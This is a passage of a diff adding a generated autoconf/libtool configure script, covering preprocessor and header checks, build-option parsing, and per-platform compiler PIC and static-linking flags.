to be expanded + for CPP in "$CC -E" "$CC -E -traditional-cpp" "/lib/cpp" + do + ac_preproc_ok=false +for ac_c_preproc_warn_flag in '' yes +do + # Use a header file that comes with gcc, so configuring glibc + # with a fresh cross-compiler works. + # Prefer to if __STDC__ is defined, since + # exists even on freestanding compilers. + # On the NeXT, cc -E runs the code through the compiler's parser, + # not just through cpp. "Syntax error" is here to catch this case. + cat confdefs.h - <<_ACEOF >conftest.$ac_ext +/* end confdefs.h. */ +#ifdef __STDC__ +# include +#else +# include +#endif + Syntax error +_ACEOF +if ac_fn_c_try_cpp "$LINENO"; then : + +else + # Broken: fails on valid input. +continue +fi +rm -f conftest.err conftest.i conftest.$ac_ext + + # OK, works on sane cases. Now check whether nonexistent headers + # can be detected and how. + cat confdefs.h - <<_ACEOF >conftest.$ac_ext +/* end confdefs.h. */ +#include +_ACEOF +if ac_fn_c_try_cpp "$LINENO"; then : + # Broken: success on invalid input. +continue +else + # Passes both tests. +ac_preproc_ok=: +break +fi +rm -f conftest.err conftest.i conftest.$ac_ext + +done +# Because of `break', _AC_PREPROC_IFELSE's cleaning code was skipped. +rm -f conftest.i conftest.err conftest.$ac_ext +if $ac_preproc_ok; then : + break +fi + + done + ac_cv_prog_CPP=$CPP + +fi + CPP=$ac_cv_prog_CPP +else + ac_cv_prog_CPP=$CPP +fi +{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $CPP" >&5 +$as_echo "$CPP" >&6; } +ac_preproc_ok=false +for ac_c_preproc_warn_flag in '' yes +do + # Use a header file that comes with gcc, so configuring glibc + # with a fresh cross-compiler works. + # Prefer to if __STDC__ is defined, since + # exists even on freestanding compilers. + # On the NeXT, cc -E runs the code through the compiler's parser, + # not just through cpp. "Syntax error" is here to catch this case. + cat confdefs.h - <<_ACEOF >conftest.$ac_ext +/* end confdefs.h. */ +#ifdef __STDC__ +# include +#else +# include +#endif + Syntax error +_ACEOF +if ac_fn_c_try_cpp "$LINENO"; then : + +else + # Broken: fails on valid input. +continue +fi +rm -f conftest.err conftest.i conftest.$ac_ext + + # OK, works on sane cases. Now check whether nonexistent headers + # can be detected and how. + cat confdefs.h - <<_ACEOF >conftest.$ac_ext +/* end confdefs.h. */ +#include +_ACEOF +if ac_fn_c_try_cpp "$LINENO"; then : + # Broken: success on invalid input. +continue +else + # Passes both tests. +ac_preproc_ok=: +break +fi +rm -f conftest.err conftest.i conftest.$ac_ext + +done +# Because of `break', _AC_PREPROC_IFELSE's cleaning code was skipped. +rm -f conftest.i conftest.err conftest.$ac_ext +if $ac_preproc_ok; then : + +else + { { $as_echo "$as_me:${as_lineno-$LINENO}: error: in \`$ac_pwd':" >&5 +$as_echo "$as_me: error: in \`$ac_pwd':" >&2;} +as_fn_error $? "C preprocessor \"$CPP\" fails sanity check +See \`config.log' for more details" "$LINENO" 5; } +fi + +ac_ext=c +ac_cpp='$CPP $CPPFLAGS' +ac_compile='$CC -c $CFLAGS $CPPFLAGS conftest.$ac_ext >&5' +ac_link='$CC -o conftest$ac_exeext $CFLAGS $CPPFLAGS $LDFLAGS conftest.$ac_ext $LIBS >&5' +ac_compiler_gnu=$ac_cv_c_compiler_gnu + + +{ $as_echo "$as_me:${as_lineno-$LINENO}: checking for ANSI C header files" >&5 +$as_echo_n "checking for ANSI C header files... " >&6; } +if ${ac_cv_header_stdc+:} false; then : + $as_echo_n "(cached) " >&6 +else + cat confdefs.h - <<_ACEOF >conftest.$ac_ext +/* end confdefs.h. */ +#include +#include +#include +#include + +int +main () +{ + + ; + return 0; +} +_ACEOF +if ac_fn_c_try_compile "$LINENO"; then : + ac_cv_header_stdc=yes +else + ac_cv_header_stdc=no +fi +rm -f core conftest.err conftest.$ac_objext conftest.$ac_ext + +if test $ac_cv_header_stdc = yes; then + # SunOS 4.x string.h does not declare mem*, contrary to ANSI. + cat confdefs.h - <<_ACEOF >conftest.$ac_ext +/* end confdefs.h. */ +#include + +_ACEOF +if (eval "$ac_cpp conftest.$ac_ext") 2>&5 | + $EGREP "memchr" >/dev/null 2>&1; then : + +else + ac_cv_header_stdc=no +fi +rm -f conftest* + +fi + +if test $ac_cv_header_stdc = yes; then + # ISC 2.0.2 stdlib.h does not declare free, contrary to ANSI. + cat confdefs.h - <<_ACEOF >conftest.$ac_ext +/* end confdefs.h. */ +#include + +_ACEOF +if (eval "$ac_cpp conftest.$ac_ext") 2>&5 | + $EGREP "free" >/dev/null 2>&1; then : + +else + ac_cv_header_stdc=no +fi +rm -f conftest* + +fi + +if test $ac_cv_header_stdc = yes; then + # /bin/cc in Irix-4.0.5 gets non-ANSI ctype macros unless using -ansi. + if test "$cross_compiling" = yes; then : + : +else + cat confdefs.h - <<_ACEOF >conftest.$ac_ext +/* end confdefs.h. */ +#include +#include +#if ((' ' & 0x0FF) == 0x020) +# define ISLOWER(c) ('a' <= (c) && (c) <= 'z') +# define TOUPPER(c) (ISLOWER(c) ? 'A' + ((c) - 'a') : (c)) +#else +# define ISLOWER(c) \ + (('a' <= (c) && (c) <= 'i') \ + || ('j' <= (c) && (c) <= 'r') \ + || ('s' <= (c) && (c) <= 'z')) +# define TOUPPER(c) (ISLOWER(c) ? ((c) | 0x40) : (c)) +#endif + +#define XOR(e, f) (((e) && !(f)) || (!(e) && (f))) +int +main () +{ + int i; + for (i = 0; i < 256; i++) + if (XOR (islower (i), ISLOWER (i)) + || toupper (i) != TOUPPER (i)) + return 2; + return 0; +} +_ACEOF +if ac_fn_c_try_run "$LINENO"; then : + +else + ac_cv_header_stdc=no +fi +rm -f core *.core core.conftest.* gmon.out bb.out conftest$ac_exeext \ + conftest.$ac_objext conftest.beam conftest.$ac_ext +fi + +fi +fi +{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $ac_cv_header_stdc" >&5 +$as_echo "$ac_cv_header_stdc" >&6; } +if test $ac_cv_header_stdc = yes; then + +$as_echo "#define STDC_HEADERS 1" >>confdefs.h + +fi + +# On IRIX 5.3, sys/types and inttypes.h are conflicting. +for ac_header in sys/types.h sys/stat.h stdlib.h string.h memory.h strings.h \ + inttypes.h stdint.h unistd.h +do : + as_ac_Header=`$as_echo "ac_cv_header_$ac_header" | $as_tr_sh` +ac_fn_c_check_header_compile "$LINENO" "$ac_header" "$as_ac_Header" "$ac_includes_default +" +if eval test \"x\$"$as_ac_Header"\" = x"yes"; then : + cat >>confdefs.h <<_ACEOF +#define `$as_echo "HAVE_$ac_header" | $as_tr_cpp` 1 +_ACEOF + +fi + +done + + +for ac_header in dlfcn.h +do : + ac_fn_c_check_header_compile "$LINENO" "dlfcn.h" "ac_cv_header_dlfcn_h" "$ac_includes_default +" +if test "x$ac_cv_header_dlfcn_h" = xyes; then : + cat >>confdefs.h <<_ACEOF +#define HAVE_DLFCN_H 1 +_ACEOF + +fi + +done + + + + + +# Set options + + + + enable_dlopen=no + + + + + # Check whether --enable-static was given. +if test "${enable_static+set}" = set; then : + enableval=$enable_static; p=${PACKAGE-default} + case $enableval in + yes) enable_static=yes ;; + no) enable_static=no ;; + *) + enable_static=no + # Look at the argument we got. We use all the common list separators. + lt_save_ifs="$IFS"; IFS="${IFS}$PATH_SEPARATOR," + for pkg in $enableval; do + IFS="$lt_save_ifs" + if test "X$pkg" = "X$p"; then + enable_static=yes + fi + done + IFS="$lt_save_ifs" + ;; + esac +else + enable_static=yes +fi + + + + + + + + + + +# Check whether --with-pic was given. +if test "${with_pic+set}" = set; then : + withval=$with_pic; lt_p=${PACKAGE-default} + case $withval in + yes|no) pic_mode=$withval ;; + *) + pic_mode=default + # Look at the argument we got. We use all the common list separators. + lt_save_ifs="$IFS"; IFS="${IFS}$PATH_SEPARATOR," + for lt_pkg in $withval; do + IFS="$lt_save_ifs" + if test "X$lt_pkg" = "X$lt_p"; then + pic_mode=yes + fi + done + IFS="$lt_save_ifs" + ;; + esac +else + pic_mode=default +fi + + +test -z "$pic_mode" && pic_mode=default + + + + + + + + # Check whether --enable-fast-install was given. +if test "${enable_fast_install+set}" = set; then : + enableval=$enable_fast_install; p=${PACKAGE-default} + case $enableval in + yes) enable_fast_install=yes ;; + no) enable_fast_install=no ;; + *) + enable_fast_install=no + # Look at the argument we got. We use all the common list separators. + lt_save_ifs="$IFS"; IFS="${IFS}$PATH_SEPARATOR," + for pkg in $enableval; do + IFS="$lt_save_ifs" + if test "X$pkg" = "X$p"; then + enable_fast_install=yes + fi + done + IFS="$lt_save_ifs" + ;; + esac +else + enable_fast_install=yes +fi + + + + + + + + + + + +# This can be used to rebuild libtool when needed +LIBTOOL_DEPS="$ltmain" + +# Always use our own libtool. +LIBTOOL='$(SHELL) $(top_builddir)/libtool' + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +test -z "$LN_S" && LN_S="ln -s" + + + + + + + + + + + + + + +if test -n "${ZSH_VERSION+set}" ; then + setopt NO_GLOB_SUBST +fi + +{ $as_echo "$as_me:${as_lineno-$LINENO}: checking for objdir" >&5 +$as_echo_n "checking for objdir... " >&6; } +if ${lt_cv_objdir+:} false; then : + $as_echo_n "(cached) " >&6 +else + rm -f .libs 2>/dev/null +mkdir .libs 2>/dev/null +if test -d .libs; then + lt_cv_objdir=.libs +else + # MS-DOS does not allow filenames that begin with a dot. + lt_cv_objdir=_libs +fi +rmdir .libs 2>/dev/null +fi +{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $lt_cv_objdir" >&5 +$as_echo "$lt_cv_objdir" >&6; } +objdir=$lt_cv_objdir + + + + + +cat >>confdefs.h <<_ACEOF +#define LT_OBJDIR "$lt_cv_objdir/" +_ACEOF + + + + +case $host_os in +aix3*) + # AIX sometimes has problems with the GCC collect2 program. For some + # reason, if we set the COLLECT_NAMES environment variable, the problems + # vanish in a puff of smoke. + if test "X${COLLECT_NAMES+set}" != Xset; then + COLLECT_NAMES= + export COLLECT_NAMES + fi + ;; +esac + +# Global variables: +ofile=libtool +can_build_shared=yes + +# All known linkers require a `.a' archive for static linking (except MSVC, +# which needs '.lib'). +libext=a + +with_gnu_ld="$lt_cv_prog_gnu_ld" + +old_CC="$CC" +old_CFLAGS="$CFLAGS" + +# Set sane defaults for various variables +test -z "$CC" && CC=cc +test -z "$LTCC" && LTCC=$CC +test -z "$LTCFLAGS" && LTCFLAGS=$CFLAGS +test -z "$LD" && LD=ld +test -z "$ac_objext" && ac_objext=o + +for cc_temp in $compiler""; do + case $cc_temp in + compile | *[\\/]compile | ccache | *[\\/]ccache ) ;; + distcc | *[\\/]distcc | purify | *[\\/]purify ) ;; + \-*) ;; + *) break;; + esac +done +cc_basename=`$ECHO "$cc_temp" | $SED "s%.*/%%; s%^$host_alias-%%"` + + +# Only perform the check for file, if the check method requires it +test -z "$MAGIC_CMD" && MAGIC_CMD=file +case $deplibs_check_method in +file_magic*) + if test "$file_magic_cmd" = '$MAGIC_CMD'; then + { $as_echo "$as_me:${as_lineno-$LINENO}: checking for ${ac_tool_prefix}file" >&5 +$as_echo_n "checking for ${ac_tool_prefix}file... " >&6; } +if ${lt_cv_path_MAGIC_CMD+:} false; then : + $as_echo_n "(cached) " >&6 +else + case $MAGIC_CMD in +[\\/*] | ?:[\\/]*) + lt_cv_path_MAGIC_CMD="$MAGIC_CMD" # Let the user override the test with a path. + ;; +*) + lt_save_MAGIC_CMD="$MAGIC_CMD" + lt_save_ifs="$IFS"; IFS=$PATH_SEPARATOR + ac_dummy="/usr/bin$PATH_SEPARATOR$PATH" + for ac_dir in $ac_dummy; do + IFS="$lt_save_ifs" + test -z "$ac_dir" && ac_dir=. + if test -f $ac_dir/${ac_tool_prefix}file; then + lt_cv_path_MAGIC_CMD="$ac_dir/${ac_tool_prefix}file" + if test -n "$file_magic_test_file"; then + case $deplibs_check_method in + "file_magic "*) + file_magic_regex=`expr "$deplibs_check_method" : "file_magic \(.*\)"` + MAGIC_CMD="$lt_cv_path_MAGIC_CMD" + if eval $file_magic_cmd \$file_magic_test_file 2> /dev/null | + $EGREP "$file_magic_regex" > /dev/null; then + : + else + cat <<_LT_EOF 1>&2 + +*** Warning: the command libtool uses to detect shared libraries, +*** $file_magic_cmd, produces output that libtool cannot recognize. +*** The result is that libtool may fail to recognize shared libraries +*** as such. This will affect the creation of libtool libraries that +*** depend on shared libraries, but programs linked with such libtool +*** libraries will work regardless of this problem. Nevertheless, you +*** may want to report the problem to your system manager and/or to +*** bug-libtool@gnu.org + +_LT_EOF + fi ;; + esac + fi + break + fi + done + IFS="$lt_save_ifs" + MAGIC_CMD="$lt_save_MAGIC_CMD" + ;; +esac +fi + +MAGIC_CMD="$lt_cv_path_MAGIC_CMD" +if test -n "$MAGIC_CMD"; then + { $as_echo "$as_me:${as_lineno-$LINENO}: result: $MAGIC_CMD" >&5 +$as_echo "$MAGIC_CMD" >&6; } +else + { $as_echo "$as_me:${as_lineno-$LINENO}: result: no" >&5 +$as_echo "no" >&6; } +fi + + + + + +if test -z "$lt_cv_path_MAGIC_CMD"; then + if test -n "$ac_tool_prefix"; then + { $as_echo "$as_me:${as_lineno-$LINENO}: checking for file" >&5 +$as_echo_n "checking for file... " >&6; } +if ${lt_cv_path_MAGIC_CMD+:} false; then : + $as_echo_n "(cached) " >&6 +else + case $MAGIC_CMD in +[\\/*] | ?:[\\/]*) + lt_cv_path_MAGIC_CMD="$MAGIC_CMD" # Let the user override the test with a path. + ;; +*) + lt_save_MAGIC_CMD="$MAGIC_CMD" + lt_save_ifs="$IFS"; IFS=$PATH_SEPARATOR + ac_dummy="/usr/bin$PATH_SEPARATOR$PATH" + for ac_dir in $ac_dummy; do + IFS="$lt_save_ifs" + test -z "$ac_dir" && ac_dir=. + if test -f $ac_dir/file; then + lt_cv_path_MAGIC_CMD="$ac_dir/file" + if test -n "$file_magic_test_file"; then + case $deplibs_check_method in + "file_magic "*) + file_magic_regex=`expr "$deplibs_check_method" : "file_magic \(.*\)"` + MAGIC_CMD="$lt_cv_path_MAGIC_CMD" + if eval $file_magic_cmd \$file_magic_test_file 2> /dev/null | + $EGREP "$file_magic_regex" > /dev/null; then + : + else + cat <<_LT_EOF 1>&2 + +*** Warning: the command libtool uses to detect shared libraries, +*** $file_magic_cmd, produces output that libtool cannot recognize. +*** The result is that libtool may fail to recognize shared libraries +*** as such. This will affect the creation of libtool libraries that +*** depend on shared libraries, but programs linked with such libtool +*** libraries will work regardless of this problem. Nevertheless, you +*** may want to report the problem to your system manager and/or to +*** bug-libtool@gnu.org + +_LT_EOF + fi ;; + esac + fi + break + fi + done + IFS="$lt_save_ifs" + MAGIC_CMD="$lt_save_MAGIC_CMD" + ;; +esac +fi + +MAGIC_CMD="$lt_cv_path_MAGIC_CMD" +if test -n "$MAGIC_CMD"; then + { $as_echo "$as_me:${as_lineno-$LINENO}: result: $MAGIC_CMD" >&5 +$as_echo "$MAGIC_CMD" >&6; } +else + { $as_echo "$as_me:${as_lineno-$LINENO}: result: no" >&5 +$as_echo "no" >&6; } +fi + + + else + MAGIC_CMD=: + fi +fi + + fi + ;; +esac + +# Use C for the default configuration in the libtool script + +lt_save_CC="$CC" +ac_ext=c +ac_cpp='$CPP $CPPFLAGS' +ac_compile='$CC -c $CFLAGS $CPPFLAGS conftest.$ac_ext >&5' +ac_link='$CC -o conftest$ac_exeext $CFLAGS $CPPFLAGS $LDFLAGS conftest.$ac_ext $LIBS >&5' +ac_compiler_gnu=$ac_cv_c_compiler_gnu + + +# Source file extension for C test sources. +ac_ext=c + +# Object file extension for compiled C test sources. +objext=o +objext=$objext + +# Code to be used in simple compile tests +lt_simple_compile_test_code="int some_variable = 0;" + +# Code to be used in simple link tests +lt_simple_link_test_code='int main(){return(0);}' + + + + + + + +# If no C compiler was specified, use CC. +LTCC=${LTCC-"$CC"} + +# If no C compiler flags were specified, use CFLAGS. +LTCFLAGS=${LTCFLAGS-"$CFLAGS"} + +# Allow CC to be a program name with arguments. +compiler=$CC + +# Save the default compiler, since it gets overwritten when the other +# tags are being tested, and _LT_TAGVAR(compiler, []) is a NOP. +compiler_DEFAULT=$CC + +# save warnings/boilerplate of simple test code +ac_outfile=conftest.$ac_objext +echo "$lt_simple_compile_test_code" >conftest.$ac_ext +eval "$ac_compile" 2>&1 >/dev/null | $SED '/^$/d; /^ *+/d' >conftest.err +_lt_compiler_boilerplate=`cat conftest.err` +$RM conftest* + +ac_outfile=conftest.$ac_objext +echo "$lt_simple_link_test_code" >conftest.$ac_ext +eval "$ac_link" 2>&1 >/dev/null | $SED '/^$/d; /^ *+/d' >conftest.err +_lt_linker_boilerplate=`cat conftest.err` +$RM -r conftest* + + +## CAVEAT EMPTOR: +## There is no encapsulation within the following macros, do not change +## the running order or otherwise move them around unless you know exactly +## what you are doing... +if test -n "$compiler"; then + +lt_prog_compiler_no_builtin_flag= + +if test "$GCC" = yes; then + case $cc_basename in + nvcc*) + lt_prog_compiler_no_builtin_flag=' -Xcompiler -fno-builtin' ;; + *) + lt_prog_compiler_no_builtin_flag=' -fno-builtin' ;; + esac + + { $as_echo "$as_me:${as_lineno-$LINENO}: checking if $compiler supports -fno-rtti -fno-exceptions" >&5 +$as_echo_n "checking if $compiler supports -fno-rtti -fno-exceptions... " >&6; } +if ${lt_cv_prog_compiler_rtti_exceptions+:} false; then : + $as_echo_n "(cached) " >&6 +else + lt_cv_prog_compiler_rtti_exceptions=no + ac_outfile=conftest.$ac_objext + echo "$lt_simple_compile_test_code" > conftest.$ac_ext + lt_compiler_flag="-fno-rtti -fno-exceptions" + # Insert the option either (1) after the last *FLAGS variable, or + # (2) before a word containing "conftest.", or (3) at the end. + # Note that $ac_compile itself does not contain backslashes and begins + # with a dollar sign (not a hyphen), so the echo should work correctly. + # The option is referenced via a variable to avoid confusing sed. + lt_compile=`echo "$ac_compile" | $SED \ + -e 's:.*FLAGS}\{0,1\} :&$lt_compiler_flag :; t' \ + -e 's: [^ ]*conftest\.: $lt_compiler_flag&:; t' \ + -e 's:$: $lt_compiler_flag:'` + (eval echo "\"\$as_me:$LINENO: $lt_compile\"" >&5) + (eval "$lt_compile" 2>conftest.err) + ac_status=$? + cat conftest.err >&5 + echo "$as_me:$LINENO: \$? = $ac_status" >&5 + if (exit $ac_status) && test -s "$ac_outfile"; then + # The compiler can only warn and ignore the option if not recognized + # So say no if there are warnings other than the usual output. + $ECHO "$_lt_compiler_boilerplate" | $SED '/^$/d' >conftest.exp + $SED '/^$/d; /^ *+/d' conftest.err >conftest.er2 + if test ! -s conftest.er2 || diff conftest.exp conftest.er2 >/dev/null; then + lt_cv_prog_compiler_rtti_exceptions=yes + fi + fi + $RM conftest* + +fi +{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $lt_cv_prog_compiler_rtti_exceptions" >&5 +$as_echo "$lt_cv_prog_compiler_rtti_exceptions" >&6; } + +if test x"$lt_cv_prog_compiler_rtti_exceptions" = xyes; then + lt_prog_compiler_no_builtin_flag="$lt_prog_compiler_no_builtin_flag -fno-rtti -fno-exceptions" +else + : +fi + +fi + + + + + + + lt_prog_compiler_wl= +lt_prog_compiler_pic= +lt_prog_compiler_static= + + + if test "$GCC" = yes; then + lt_prog_compiler_wl='-Wl,' + lt_prog_compiler_static='-static' + + case $host_os in + aix*) + # All AIX code is PIC. + if test "$host_cpu" = ia64; then + # AIX 5 now supports IA64 processor + lt_prog_compiler_static='-Bstatic' + fi + ;; + + amigaos*) + case $host_cpu in + powerpc) + # see comment about AmigaOS4 .so support + lt_prog_compiler_pic='-fPIC' + ;; + m68k) + # FIXME: we need at least 68020 code to build shared libraries, but + # adding the `-m68020' flag to GCC prevents building anything better, + # like `-m68040'. + lt_prog_compiler_pic='-m68020 -resident32 -malways-restore-a4' + ;; + esac + ;; + + beos* | irix5* | irix6* | nonstopux* | osf3* | osf4* | osf5*) + # PIC is the default for these OSes. + ;; + + mingw* | cygwin* | pw32* | os2* | cegcc*) + # This hack is so that the source file can tell whether it is being + # built for inclusion in a dll (and should export symbols for example). + # Although the cygwin gcc ignores -fPIC, still need this for old-style + # (--disable-auto-import) libraries + lt_prog_compiler_pic='-DDLL_EXPORT' + ;; + + darwin* | rhapsody*) + # PIC is the default on this platform + # Common symbols not allowed in MH_DYLIB files + lt_prog_compiler_pic='-fno-common' + ;; + + haiku*) + # PIC is the default for Haiku. + # The "-static" flag exists, but is broken. + lt_prog_compiler_static= + ;; + + hpux*) + # PIC is the default for 64-bit PA HP-UX, but not for 32-bit + # PA HP-UX. On IA64 HP-UX, PIC is the default but the pic flag + # sets the default TLS model and affects inlining. + case $host_cpu in + hppa*64*) + # +Z the default + ;; + *) + lt_prog_compiler_pic='-fPIC' + ;; + esac + ;; + + interix[3-9]*) + # Interix 3.x gcc -fpic/-fPIC options generate broken code. + # Instead, we relocate shared libraries at runtime. + ;; + + msdosdjgpp*) + # Just because we use GCC doesn't mean we suddenly get shared libraries + # on systems that don't support them. + lt_prog_compiler_can_build_shared=no + enable_shared=no + ;; + + *nto* | *qnx*) + # QNX uses GNU C++, but need to define -shared option too, otherwise + # it will coredump. + lt_prog_compiler_pic='-fPIC -shared' + ;; + + sysv4*MP*) + if test -d /usr/nec; then + lt_prog_compiler_pic=-Kconform_pic + fi + ;; + + *) + lt_prog_compiler_pic='-fPIC' + ;; + esac + + case $cc_basename in + nvcc*) # Cuda Compiler Driver 2.2 + lt_prog_compiler_wl='-Xlinker ' + if test -n "$lt_prog_compiler_pic"; then + lt_prog_compiler_pic="-Xcompiler $lt_prog_compiler_pic" + fi + ;; + esac + else + # PORTME Check for flag to pass linker flags through the system compiler. + case $host_os in + aix*) + lt_prog_compiler_wl='-Wl,' + if test "$host_cpu" = ia64; then + # AIX 5 now supports IA64 processor + lt_prog_compiler_static='-Bstatic' + else + lt_prog_compiler_static='-bnso -bI:/lib/syscalls.exp' + fi + ;; + + mingw* | cygwin* | pw32* | os2* | cegcc*) + # This hack is so that the source file can tell whether it is being + # built for inclusion in a dll (and should export symbols for example). + lt_prog_compiler_pic='-DDLL_EXPORT' + ;; + + hpux9* | hpux10* | hpux11*) + lt_prog_compiler_wl='-Wl,' + # PIC is the default for IA64 HP-UX and 64-bit HP-UX, but + # not for PA HP-UX. + case $host_cpu in + hppa*64*|ia64*) + # +Z the default + ;; + *) + lt_prog_compiler_pic='+Z' + ;; + esac + # Is there a better lt_prog_compiler_static that works with the bundled CC? + lt_prog_compiler_static='${wl}-a ${wl}archive' + ;; + + irix5* | irix6* | nonstopux*) + lt_prog_compiler_wl='-Wl,' + # PIC (with -KPIC) is the default. + lt_prog_compiler_static='-non_shared' + ;; + + linux* | k*bsd*-gnu | kopensolaris*-gnu) + case $cc_basename in + # old Intel for x86_64 which still supported -KPIC. + ecc*) + lt_prog_compiler_wl='-Wl,' + lt_prog_compiler_pic='-KPIC' + lt_prog_compiler_static='-static' + ;; + # icc used to be incompatible with GCC. + # ICC 10 doesn't accept -KPIC any more. + icc* | ifort*) + lt_prog_compiler_wl='-Wl,' + lt_prog_compiler_pic='-fPIC' + lt_prog_compiler_static='-static' + ;; + # Lahey Fortran 8.1. + lf95*) + lt_prog_compiler_wl='-Wl,' + lt_prog_compiler_pic='--shared' + lt_prog_compiler_static='--static' + ;; + nagfor*) + # NAG Fortran compiler + lt_prog_compiler_wl='-Wl,-Wl,,' + lt_prog_compiler_pic='-PIC' + lt_prog_compiler_static='-Bstatic' + ;; + pgcc* | pgf77* | pgf90* | pgf95* | pgfortran*) + # Portland Group compilers (*not* the Pentium gcc compiler, + # which looks to be a dead project) + lt_prog_compiler_wl='-Wl,' + lt_prog_compiler_pic='-fpic' + lt_prog_compiler_static='-Bstatic' + ;; + ccc*) + lt_prog_compiler_wl='-Wl,' + # All Alpha code is PIC. + lt_prog_compiler_static='-non_shared' + ;; + xl* | bgxl* | bgf* | mpixl*) + # IBM XL C 8.0/Fortran 10.1, 11.1 on PPC and BlueGene + lt_prog_compiler_wl='-Wl,' + lt_prog_compiler_pic='-qpic' + lt_prog_compiler_static='-qstaticlink' + ;; + *) + case `$CC -V 2>&1 | sed 5q` in + *Sun\ Ceres\ Fortran* | *Sun*Fortran*\ [1-7].* | *Sun*Fortran*\ 8.[0-3]*) + # Sun Fortran 8.3 passes all unrecognized flags to the linker + lt_prog_compiler_pic='-KPIC' + lt_prog_compiler_static='-Bstatic' + lt_prog_compiler_wl='' + ;; + *Sun\ F* | *Sun*Fortran*) + lt_prog_compiler_pic='-KPIC' + lt_prog_compiler_static='-Bstatic' + lt_prog_compiler_wl='-Qoption ld ' + ;; + *Sun\ C*) + # Sun C 5.9 + lt_prog_compiler_pic='-KPIC' + lt_prog_compiler_static='-Bstatic' + lt_prog_compiler_wl='-Wl,' + ;; + *Intel*\ [CF]*Compiler*) + lt_prog_compiler_wl='-Wl,' + lt_prog_compiler_pic='-fPIC' + lt_prog_compiler_static='-static' + ;; + *Portland\ Group*) + lt_prog_compiler_wl='-Wl,' + lt_prog_compiler_pic='-fpic' + lt_prog_compiler_static='-Bstatic' + ;; + esac + ;; + esac + ;; + + newsos6) + lt_prog_compiler_pic='-KPIC' + lt_prog_compiler_static='-Bstatic' + ;; + + *nto* | *qnx*) + # QNX uses GNU C++, but need to define -shared option too, otherwise + # it will coredump. + lt_prog_compiler_pic='-fPIC -shared' + ;; + + osf3* | osf4* | osf5*) + lt_prog_compiler_wl='-Wl,' + # All OSF/1 code is PIC. + lt_prog_compiler_static='-non_shared' + ;; + + rdos*) + lt_prog_compiler_static='-non_shared' + ;; + + solaris*) + lt_prog_compiler_pic='-KPIC' + lt_prog_compiler_static='-Bstatic' + case $cc_basename in + f77* | f90* | f95* | sunf77* | sunf90* | sunf95*) + lt_prog_compiler_wl='-Qoption ld ';; + *) + lt_prog_compiler_wl='-Wl,';; + esac + ;; + + sunos4*) + lt_prog_compiler_wl='-Qoption ld ' + lt_prog_compiler_pic='-PIC' + lt_prog_compiler_static='-Bstatic' + ;; + + sysv4 | sysv4.2uw2* | sysv4.3*) + lt_prog_compiler_wl='-Wl,' + lt_prog_compiler_pic='-KPIC' + lt_prog_compiler_static='-Bstatic' + ;; + + sysv4*MP*) + if test -d /usr/nec ;then + lt_prog_compiler_pic='-Kconform_pic' + lt_prog_compiler_static='-Bstatic' + fi + ;; + + sysv5* | unixware* | sco3.2v5* | sco5v6* | OpenUNIX*) + lt_prog_compiler_wl='-Wl,' + lt_prog_compiler_pic='-KPIC' + lt_prog_compiler_static='-Bstatic' + ;; + + unicos*) + lt_prog_compiler_wl='-Wl,' + lt_prog_compiler_can_build_shared=no + ;; + + uts4*) + lt_prog_compiler_pic='-pic' + lt_prog_compiler_static='-Bstatic' + ;; + + *) + lt_prog_compiler_can_build_shared=no + ;; + esac + fi + +case $host_os in + # For platforms which do not support PIC, -DPIC is meaningless: + *djgpp*) + lt_prog_compiler_pic= + ;; + *) + lt_prog_compiler_pic="$lt_prog_compiler_pic -DPIC" + ;; +esac + +{ $as_echo "$as_me:${as_lineno-$LINENO}: checking for $compiler option to produce PIC" >&5 +$as_echo_n "checking for $compiler option to produce PIC... " >&6; } +if ${lt_cv_prog_compiler_pic+:} false; then : + $as_echo_n "(cached) " >&6 +else + lt_cv_prog_compiler_pic=$lt_prog_compiler_pic +fi +{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $lt_cv_prog_compiler_pic" >&5 +$as_echo "$lt_cv_prog_compiler_pic" >&6; } +lt_prog_compiler_pic=$lt_cv_prog_compiler_pic + +# +# Check to make sure the PIC flag actually works. +# +if test -n "$lt_prog_compiler_pic"; then + { $as_echo "$as_me:${as_lineno-$LINENO}: checking if $compiler PIC flag $lt_prog_compiler_pic works" >&5 +$as_echo_n "checking if $compiler PIC flag $lt_prog_compiler_pic works... " >&6; } +if ${lt_cv_prog_compiler_pic_works+:} false; then : + $as_echo_n "(cached) " >&6 +else + lt_cv_prog_compiler_pic_works=no + ac_outfile=conftest.$ac_objext + echo "$lt_simple_compile_test_code" > conftest.$ac_ext + lt_compiler_flag="$lt_prog_compiler_pic -DPIC" + # Insert the option either (1) after the last *FLAGS variable, or + # (2) before a word containing "conftest.", or (3) at the end. + # Note that $ac_compile itself does not contain backslashes and begins + # with a dollar sign (not a hyphen), so the echo should work correctly. + # The option is referenced via a variable to avoid confusing sed. + lt_compile=`echo "$ac_compile" | $SED \ + -e 's:.*FLAGS}\{0,1\} :&$lt_compiler_flag :; t' \ + -e 's: [^ ]*conftest\.: $lt_compiler_flag&:; t' \ + -e 's:$: $lt_compiler_flag:'` + (eval echo "\"\$as_me:$LINENO: $lt_compile\"" >&5) + (eval "$lt_compile" 2>conftest.err) + ac_status=$? + cat conftest.err >&5 + echo "$as_me:$LINENO: \$? = $ac_status" >&5 + if (exit $ac_status) && test -s "$ac_outfile"; then + # The compiler can only warn and ignore the option if not recognized + # So say no if there are warnings other than the usual output. + $ECHO "$_lt_compiler_boilerplate" | $SED '/^$/d' >conftest.exp + $SED '/^$/d; /^ *+/d' conftest.err >conftest.er2 + if test ! -s conftest.er2 || diff conftest.exp conftest.er2 >/dev/null; then + lt_cv_prog_compiler_pic_works=yes + fi + fi + $RM conftest* + +fi +{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $lt_cv_prog_compiler_pic_works" >&5 +$as_echo "$lt_cv_prog_compiler_pic_works" >&6; } + +if test x"$lt_cv_prog_compiler_pic_works" = xyes; then + case $lt_prog_compiler_pic in + "" | " "*) ;; + *) lt_prog_compiler_pic=" $lt_prog_compiler_pic" ;; + esac +else + lt_prog_compiler_pic= + lt_prog_compiler_can_build_shared=no +fi + +fi + + + + + + + + + + + +# +# Check to make sure the static flag actually works. +# +wl=$lt_prog_compiler_wl eval lt_tmp_static_flag=\"$lt_prog_compiler_static\" +{ $as_echo "$as_me:${as_lineno-$LINENO}: checking if $compiler static flag $lt_tmp_static_flag works" >&5 +$as_echo_n "checking if $compiler static flag 